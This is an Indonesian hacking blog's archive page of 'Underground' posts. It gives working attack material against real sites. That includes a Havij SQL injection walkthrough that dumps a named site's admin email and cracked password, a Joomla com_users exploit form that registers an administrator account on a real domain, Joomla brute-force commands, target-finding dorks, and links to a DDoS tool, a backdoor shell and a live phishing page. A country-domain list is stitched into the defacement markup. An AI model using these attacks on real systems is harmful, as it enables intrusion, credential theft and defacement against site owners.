Tampilkan postingan dengan label Underground. Tampilkan semua postingan

DDos Attack

By : Reyn

apa itu DDOS attack ?

googling berohh haha

ini online dan bisa lu buka berapa tab danserang web nya

klik Di Sini

cuma tinggal masukan alamat target dan klik start

simple :D

0 Comments

Tag : Underground,

Phishing adalah usaha untuk mendapatkan suatu informasi penting dan rahasia secara tidak sah, seperti USER ID, PASSWORD, PIN, informasi rekening bank, informasi kartu kredit, atau informasi rahasia yang lain.

Istilah phishing dalam bahasa Inggris berasal dari kata fishing (memancing), yang dalam hal ini berarti memancing informasi keuangan dan kata sandi pengguna.

Sarana yang sering digunakan oleh phiser adalah sebagai berikut :

Membuat situs jaringan palsu yang sama persis dengan situs resmi, sehingga jika ada pengunjung yang mengisikan data pribadi maka informasi akan direkam oleh pembuat situs palsu tersebut.

Contoh website phishing twitter yang gw buat :

Membuat hyperlink ke situs jaringan palsu melalui email atau instant message.

Aktivitas phishing ini bisa dilakukan dengan sengaja oleh pemilik website atau oleh hacker yang berhasil menyusupi sebuah website dan meletakkan halaman phishing.

Phishing merupakan salah satu kejahatan dunia maya (cyber crime) yang sering terjadi dan kamu temui ketika sedang online. Karena itu, pastikan kamu berhati-hati dalam memberikan informasi pribadi dan penting karena bahaya ini selalu mengancam kamu setiap saat.

contoh asli web phising : http://banyakinpollower.pusku.com/stalking.php

0 Comments

Tag : Underground,

apa itu Deface?

By : Reyn

Contoh Hasil Deface

klik gambar untuk memperbesar

Deface jika berdasarkan kamus UMUM mempunyai arti merusakkan, mencemarkan, menggoresi atau menghapuskan. Tetapi arti kata deface sendiri dalam istilah cyber crime disini yang sangat lekat adalah sebagai salah satu kegiatan merubah tampilan suatu website baik halaman utama atau index filenya ataupun halaman lain yang masih terkait dalam satu url dengan website tersebut (bisa di folder atau di file).

Deface adalah teknik mengganti atau menyisipkan file pada server, teknik ini dapat dilakukan karena terdapat lubang pada security system yang ada di dalam sebuah aplikasi. Hal ini bertujuan untuk melakukan perubahan tampilan pada website korban dengan tampilan yang dimiliki oleh si defacer. Deface merupakan sebuah serangan yang dilakukan untuk mengganti visual dari sebuah website. Para hacker biasanya meninggalkan pesan dan nickname mereka agar hasil kerjanya diketahui oleh khalayak hacker.

Defacing

Defacing merupakan bagian dari kegiatan hacking web atau program application, yang menfokuskan target operasi pada perubahan tampilan dan konfigurasi fisik dari web atau program aplikasi tanpa melalui source code yang sebenarnya dan tanpa diketahui oleh si pemilik website (administrator/developer-nya). Sedangkan deface itu sendiri adalah hasil akhir dari kegiatan cracking. Tekniknya adalah dengan membaca source codenya, lalu mengganti image dan editing html tag.

Serangan dengan tujuan utama merubah tampilah sebuah website, baik halaman utama maupun halaman lain yang terkait dengannya, kegiatan ini diistilahkan sebagai “Web Defacement”. Hal ini biasa dilakukan oleh para “attacker” atau penyerang karena merasa tidak puas atau tidak suka kepada individu, kelompok, atau entitas tertentu sehingga website yang terkait dengannya menjadi sasaran utama. Tindakan deface ada yang semata-mata iseng, unjuk kebolehan, pamer kemampuan membuat program, tapi ada juga yang jahat, untuk mencuri data dan dijual kepada pihak lain.

yah.. kalo gw cuma buat iseng doang sih.. data" ga ada data yang di curi.. cuma hanya sekedar mengingatkan kalo web nya masih kurang aman :D

0 Comments

Tag : Underground,

Com User Scanner

By : Reyn

Oke langsung saja ya. Tools ini berguna seperti JCE Scanner, namun yang ini untuk checking web vuln com_user dalam satu server. Ini direcode oleh teman saya ./Pscript . Thanks banget ya om :D .Scanner ini berekstensi .py (file python) .
Berikut link download nya :

Download Com_User Scanner

Simpan dengan ekstensi file.py . Contoh : comuser.py
lalu jalankan lewat cmd. Tinggal masukkan IP Server yang ingin di scan :D

Sekian dan semoga bermanfaat.

Source : Madura Cyber

0 Comments

Tag : Exploit, Underground,

Deface Com_user

By : Reyn

0 Comments

Tag : Exploit, Underground,

SQL Injection Menggunakan Tools Havij

By : Reyn

Kemarn saya sudah share Tools Havij 1.15 Pro . Kali ini saya akan share cara menggunakan Havij tersebut untuk menemukan password web target dengan SQLi .
Oke, langsung saja kita mulai ritualnya :

Pertama, cari target lewat google dork.
Google Dork : inurl:"pages.php?id="
Lalu kita pilih salah satu target. Untuk percobaan, saya pilih target : http://www.radiesse-voice.com/pages.php?id=15

Step 1

Kita masukkan alamat tersebut ke kolom target yang ada di Havij lalu klik analyze . tungu sampai kolom paling bawah bertuliskan Status : I'm IDLE

Maka kita akan mendapat data-data sebagai berikut :

Host IP: 65.98.217.75
Web Server: Microsoft-IIS/6.0
Powered-by: ASP.NET
Powered-by: PHP/5.2.17
Keyword Found: Billing
Injection type is Integer
DB Server: MySQL >=5
Selected Column Count is 7
Valid String Column is 3
Current DB: radiesse

Oke, lanjut ke step 2 : Klik Tables lalu kik Get Tables

Step 2

Maka akan keluar kolom baru yaitu rad_admin, rad_news, rad_page . Karena kita ingin mencari akses admin, kita coba kolom rad_admin. centang kolom rad_admin lalu klik get columns

Step 3

Oke, hampir berhasil. Kita menemukan kolom : admin_id, admin_email, admin_pass, admin_passo
Kita coba lihat isi dari admin_id , admin_email, admin_pass . Centang admin_id , admin_email, admin_pass lalu klik get data

step 4

Setelah selesai, kita lihat di kolom bawah. Kita mendapatkan data sebagai berikut : Data Found:admin_id,admin_email,admin_pass=1^admin@radiesse.com^f97c5d29941bfb1b2fdab0874906ab82

Admin ID : 1

Admin Email : admin@radiesse.com

Admin Password : f97c5d29941bfb1b2fdab0874906ab82

namun password belum di encrypt. Maka kita encrypt menggunakan fitur MD5.

Dan kita mendapatkan data sebagai berikut : Plain text of f97c5d29941bfb1b2fdab0874906ab82 is one . Jadi passwordnya adalah one.

Sampai disini semua beres. Tinggal nyari admin loginnya. Karena ini butuh waktu yang lama, cari sendiri-sendiri aja ya Admin Loginnya. Gunakan Fitur Find Admin

Oke, sekian tutorial kali ini, selamat mencoba.

Sumber > madura cyber

0 Comments

Tag : Underground,

Madspot Shell

By : Reyn

Shell Backdoor Madspot
v
here
^

0 Comments

Tag : Underground,

Dork

By : Reyn

inurl:/templates/beez-2/home-page-beez-2 30
inurl:/templates/
inurl:index.php/using-joomla/extensions/plugins site:.com
inurl:index.php/using/joomla site:com
inurl:index.php/using-joomla/extensions/components/content-component/article-category-list/50-upgraders
inurl:index.php/using-joomla/extensions/components/content-component/article-categories/28-park-site/photo-gallery
inurl:index.php/using-joomla/parameters/26-sample-data-articles/park-site
inurl:index.php/plugins site:com
inurl:index.php/rss=feed site:com
inurl:index.php/joomla/content/category-blog/24-joomla site:com
inurl:index.php/using-joomla/extensions/components/content-component/article-categories/84-gd-articles site:
inurl:Home Page Beez joomla 1.6 index.php using-joomla
inurl:index.php joomla! 1.7 - open source content management site:
inurl:index.php/using-joomla/extension/components/content-component/article-category-list/50-upgraders site:com intext:joomla! 1.7 - open source content management site:jp
inurl:index.php/19-sample-data-articles/joomla/50-upgraders site:id inurl:index.php/using-joomla/extensions/templates/beez-2/home-page-beez-2 site:as
inurl:index.php/19-sample-data-articles/joomla site:com
inurl:Home Page Beez5 joomla 1.6 index.php/using-joomla/extensions/components/users-component/registration-form site:br site:com

0 Comments

Tag : Underground,

Brute Force Joomla

By : Reyn

Kali ini saya akan share tutorial ngan metode bruteforce. Tapi kali ini yang digunakan adalah Phyton. Tutorial yang saya share disini saya test emnggunakan Windows. Mungkin kalau anda pemakai backtrack tidak akan serumit ini.
Oke, pertama download python disini : Python
Lalu copy script joomla.py di sini : See
lalu wordlistnya disini : Download 1 | Download 2 atau cari di google

Pertama, kita harus buka CMD
Start - Run - CMD - Enter

Karena saya meletakkan joomla.py di C:\brute\brute, jadi harus cd\ “klik enter” .
Lalu cd brute\brute “klik enter” .
Lalu ketik joomla.py .

Lalu masukan Command
joomla.py -h http://namaweb.com/administrator/ -u admin -P wordlist.txt

Bruteforce membutuhkan kesabaran. Tunggu saja sampai proses finding password selesai. Dan lihat, kita mendapatkan passwordnya :

Sekarang, coba login dengan password yang didapat =))

Last Step

Gotcha !!Sudah masuk. Sekarang terserah ada mau diapain .
Sekian dan semoga bermanfaat =))
untuk menambah ilmu saja..
di luar itu sudah bukan tanggung jawab saya!

0 Comments

Tag : Underground,

Com_User

By : Reyn

disini gw cuma buat ilmu iseng sendiri haha

kalo ga ngerti gapapa :3

Cara deface lewat Com_user

apa itu deface?

nanti kapan" di jelasin haha

dork (untuk mencari kelemahan website)

intext:Joomla! is a flexible and powerful platform, whether you are building a small site for yourself or a huge site with hundreds of thousands of visitors. site:

copy script di bawah paste di notepad

save dengan format html.

< body bgcolor="#000000" background="blank">

<font color=#00ff00>

<center><font face="arial" color="RED" size="4">Exploit :

index.php?option=com_users&view=registration .. /administrator</font><font face=ARIALBLACK>

color="white">

<form id="member-registration" action="http://www.futura.com.mx/index.php?option=com_users&view=registration" method="post" class="form-validate">

<fieldset>

<legend>User Registration</legend><dl><dt><label id="jform_spacer-lbl" class="">*Required field</label> </dt>

<dd> </dd>

<dt>

<label id="jform_name-lbl" for="jform_name" class="hasTip required" title="Name::Enter your full name">Name: *</label> </dt>

<dd><input type="text" name="jform[name]" id="jform_name" value="buitenzorgDot" class="required" size="30"/></dd>

<dt>

<label id="jform_username-lbl" for="jform_username" class="hasTip required" title="Username::Enter your desired user name">Username: *</label> </dt>

<dd><input type="text" name="jform[username]" id="jform_username" value="buitenzorgDot" class="validate-username required" size="30"/></dd>

<dt>

<label id="jform_password1-lbl" for="jform_password1" class="hasTip required" title="Password::Enter your desired password - Enter a minimum of 4 characters">Password: *</label> </dt>

<dd><input type="password" name="jform[password1]" id="jform_password1" value="pe2121genya" autocomplete="off" class="validate-password required" size="30"/></dd>

<dt>

<label id="jform_password2-lbl" for="jform_password2" class="hasTip required" title="Confirm Password::Confirm your password">Confirm Password: *</label> </dt>

<dd><input type="password" name="jform[password2]" id="jform_password2" value="pengenya" autocomplete="off" class="validate-password required" size="30"/></dd>

<dt>

<label id="jform_email1-lbl" for="jform_email1" class="hasTip required" title="Email Address::Enter your email address">Email Address: *</label> </dt>

<dd><input type="text" name="jform[email1]" class="validate-email required" id="jform_email1" value="buitenzorgdotid@gmail.com" size="30"/></dd>

<dt>

<label id="jform_email2-lbl" for="jform_email2" class="hasTip required" title="Confirm email Address::Confirm your email address">Confirm email Address: *</label> </dt>

<dd><input type="text" name="jform[email2]" class="validate-email required" id="jform_email2" value="buitenzorgdotid@gmail.com" size="30"/></dd>

<input name="jform[groups][]" value="7" size="30">

</dl>

</fieldset>

<button type="submit" class="button validate wto-button">Register</button>
or Cancel
<input type="hidden" name="option" value="com_users" />
<input type="hidden" name="task" value="registration.register" />
<input type="hidden" name="ec982eef3f59a72b87f96e5f98d5dfe5" value="1" />

</font>

</form>

<hr>

</font></center>
<center><font face="arial" color="RED" size="4"><font face="arial" color="white" size="4">#</font>Indonesian </font><font face="arial" color="white" size="4">Hacker</font><font face=ARIALBLACK>

color="white"><marquee direction=left loop=true scrollamount=300>

>__________________________________________________________________________________________

___________________________________________________________________________________________

></marquee></font><script type="text/javascript">

writeContent(true);

</script>

</script><center>

<font color="#00FF00" face="Century Gothic">Greetz:</font><font color="#00FF00" face="Century Gothic">

<marquee width="591">Me and You all Indonesian Defacer And You !!! </marquee>

</font>

</marquee>

</font>

<font face="ARIALBLACK" color="white">

<marquee loop=true direction=right>

scrollamount="300">________________________________________________________________________

______________________________________________________________________________________________

_______________</marquee></font>

</font></center>
<center><font face="arial" color="RED" size="4"> JKT48 Cyber Team </font><font face=ARIALBLACK>

color="white">

<font face="Courier New" size="3"><font color="white"> ©Copyroot 2013 by Irvan reynaldi</font>

</font>

</body>

</html>

</body>

</html>

.ac – Ascension *

.ad – Andorra

.ae – Uni Emirat Arab

.af – Afganistan

.ag – Antigua dan Barbuda *

.ai – Anguilla

.al – Albania

.am – Armenia *

.an – Antillen Belanda

.ao – Angola

.aq – Antartika

.ar – Argentina

.as – Samoa Amerika *

.at – Austria *

.au – Australia

.aw – Aruba

.ax – Åland

.az – Azerbaijan

B[sunting]

.ba – Bosnia Herzegovina

.bb – Barbados

.bd – Bangladesh

.be – Belgia *

.bf – Burkina Faso

.bg – Bulgaria

.bh – Bahrain

.bi – Burundi *

.bj – Benin

.bm – Bermuda

.bn – Brunei Darussalam

.bo – Bolivia *

.br – Brasil *

.bs – Bahama *

.bt – Bhutan

.bv – Pulau Bouvet (tidak dipakai dan tidak terdaftar)

.bw – Botswana

.by – Belarus

.bz – Belize *

C[sunting]

.ca – Kanada

.cc – Pulau Cocos *

.cd – Republik Demokratik Kongo (dulunya .zr – Zaire) *

.cf – Republik Afrika Tengah

.cg – Republik Kongo *

.ch – Swiss *

.ci – Côte d'Ivoire (Pantai Gading)

.ck – Kepulauan Cook *

.cl – Chili

.cm – Kamerun

.cn – Republik Rakyat Cina *

.co – Kolombia

.cr – Kosta Rika

.cs – Serbia dan Montenegro (dulunya .yu – Yugoslavia; Catatan: pada tanggal 3 Juni, 2006, Montenegro mendeklarasikan kemerdekaannya, sehingga domain ini tidak dipakai lagi.) (kode domain .cs tidak dipakai, tidak ada DNS) (kode domain .cs dulunya dipakai untuk Cekoslowakia)

.cu – Kuba

.cv – Tanjung Verde

.cx – Pulau Natal *

.cy – Siprus

.cz – Republik Ceko

D[sunting]

.de – Jerman

.dj – Djibouti *

.dk – Denmark * -------

.dm – Dominika

.do – Republik Dominika

.dz – Aljazair (Algeria)

E[sunting]

.ec – Ekuador

.ee – Estonia

.eg – Mesir

.eh – Sahara Barat (tidak dipakai; tidak ada DNS)

.er – Eritrea

.es – Spanyol *

.et – Ethiopia

.eu – Uni Eropa (kode domain yang "dikhususkan" oleh ISO 3166-1)

F[sunting]

.fi – Finlandia

.fj – Fiji *

.fk – Kepulauan Falkland

.fm – Federasi Mikronesia *

.fo – Kepulauan Faroe

.fr – Perancis

G[sunting]

.ga – Gabon

.gb – Britania Raya (Reserved domain by IANA; deprecated – see .uk)

.gd – Grenada

.ge – Georgia

.gf – Guyana Perancis

.gg – Guernsey

.gh – Ghana

.gi – Gibraltar

.gl – Greenland *

.gm – Gambia

.gn – Guinea

.gp – Guadeloupe

.gq – Guinea Khatulistiwa

.gr – Yunani *

.gs – Georgia Selatan dan Kepulauan Sandwich Selatan *

.gt – Guatemala

.gu – Guam

.gw – Guinea Bissau

.gy – Guyana

H[sunting]

.hk – Hong Kong *

.hm – Pulau Heard dan Kepulauan McDonald *

.hn – Honduras *

.hr – Kroasia

.ht – Haiti

.hu – Hongaria *

I[sunting]

.id – Indonesia

.ie – Republik Irlandia

.il – Israel *

.im – Pulau Man *

.in – India *

.io – Teritori Samudra Hindia Britania *

.iq – Irak

.ir – Iran *

.is – Islandia

.it – Italia

J[sunting]

.je – Jersey

.jm – Jamaika

.jo – Yordania

.jp – Jepang

K[sunting]

.ke – Kenya

.kg – Kirgizstan

.kh – Kamboja

.ki – Kiribati

.km – Komoro

.kn – Saint Kitts dan Nevis

.kp – Korea Utara (tidak dipakai; tidak ada DNS)

.kr – Korea Selatan

.kw – Kuwait

.ky – Kepulauan Cayman

.kz – Kazakhstan *

L[sunting]

.la – Laos *

.lb – Lebanon

.lc – Saint Lucia

.li – Liechtenstein *

.lk – Sri Lanka

.lr – Liberia

.ls – Lesotho

.lt – Lituania

.lu – Luxemburg

.lv – Latvia *

.ly – Libya *

M[sunting]

.ma – Maroko

.mc – Monako

.md – Moldova *

.me – Montenegro

.mg – Madagaskar

.mh – Kepulauan Marshall

.mk – Republik Makedonia

.ml – Mali

.mm – Myanmar

.mn – Mongolia *

.mo – Makau

.mp – Kepulauan Mariana Utara *

.mq – Martinique

.mr – Mauritania

.ms – Montserrat *

.mt – Malta

.mu – Mauritius *

.mv – Maladewa

.mw – Malawi *

.mx – Meksiko *

.my – Malaysia

.mz – Mozambik

N[sunting]

.na – Namibia *

.nc – Kaledonia Baru

.ne – Niger

.nf – Pulau Norfolk *

.ng – Nigeria

.ni – Nikaragua

.nl – Belanda * (ccTLD terdaftar pertama)

.no – Norwegia

.np – Nepal

.nr – Nauru *

.nu – Niue *

.nz – Selandia Baru *

O[sunting]

.om – Oman

P[sunting]

.pa – Panama

.pe – Peru

.pf – Polinesia Perancis

.pg – Papua Nugini

.ph – Filipina *

.pk – Pakistan *

.pl – Polandia *

.pm – Saint-Pierre dan Miquelon

.pn – Kepulauan Pitcairn *

.pr – Puerto Riko *

.ps – Otoritas Nasional Palestina *

.pt – Portugal *

.pw – Palau

.py – Paraguay

Q[sunting]

.qa – Qatar

R[sunting]

.re – Réunion

.ro – Rumania *

.rs – Serbia

.ru – Rusia *

.rw – Rwanda

S[sunting]

.sa – Arab Saudi

.sb – Kepulauan Solomon *

.sc – Seychelles *

.sd – Sudan

.se – Swedia *

.sg – Singapura

.sh – Saint Helena *

.si – Slovenia

.sj – Svalbard dan Jan Mayen (tidak dipakai; tidak terdaftar)

.sk – Slowakia

.sl – Sierra Leone

.sm – San Marino *

.sn – Senegal

.so – Somalia *

.sr – Suriname *

.st – Sao Tome dan Principe *

.su – Uni Soviet (terdepresiasi; digantikan; kode domain "dipakai untuk pergantian" oleh ISO 3166-1)

.sv – El Salvador

.sy – Suriah *

.sz – Swaziland *

T[sunting]

.tc – Kepulauan Turks dan Caicos

.td – Chad

.tf – Teritorial Perancis Selatan

.tg – Togo *

.th – Thailand

.tj – Tajikistan *

.tk – Tokelau *

.tl – Timor Leste (dulunya .tp) *

.tm – Turkmenistan *

.tn – Tunisia

.to – Tonga *

.tp – Timor Timur (terdepresiasi – gunakan .tl; kode domain "dipakai untuk pergantian" oleh ISO 3166-1)

.tr – Turki

.tt – Trinidad dan Tobago *

.tv – Tuvalu *

.tw – Republik Cina (Taiwan) *

.tz – Tanzania

U[sunting]

.ua – Ukraina

.ug – Uganda *

.uk – Inggris (kode domain yang "dikhususkan" oleh ISO 3166-1) (lihat pula .gb)

.us – Amerika Serikat *

.uy – Uruguay

.uz – Uzbekistan

V[sunting]

.va – Vatikan

.vc – Saint Vincent dan Grenadines *

.ve – Venezuela

.vg – Kepulauan Virgin Britania Raya *

.vi – Kepulauan Virgin Amerika Serikat

.vn – Vietnam

.vu – Vanuatu *

W[sunting]

.wf – Wallis dan Futuna

.ws – Samoa (dulunya Samoa Barat) *

Y[sunting]

.ye – Yaman

.yt – Mayotte

.yu – Yugoslavia (kemudian berganti nama menjadi Serbia dan Montenegro)

(kode domain secara resmi digantikan oleh .cs (lihat di atas) namun tetap dipakai; kode domain "dipakai untuk pergantian" oleh ISO 3166-1)

Z[sunting]

.za – Afrika Selatan *

.zm – Zambia

.zw – Zimbabwe

</marquee>

0 Comments

Tag : Underground,

Irvan Reynaldi

Popular Post

Tampilkan postingan dengan label Underground. Tampilkan semua postingan

DDos Attack

apa itu Phising?

apa itu Deface?

Com User Scanner

Deface Com_user

SQL Injection Menggunakan Tools Havij

Madspot Shell

Dork

Brute Force Joomla

Com_User

Blogroll

Blogger templates

Popular Posts

Blog Archive

Blog Archive

Blogger templates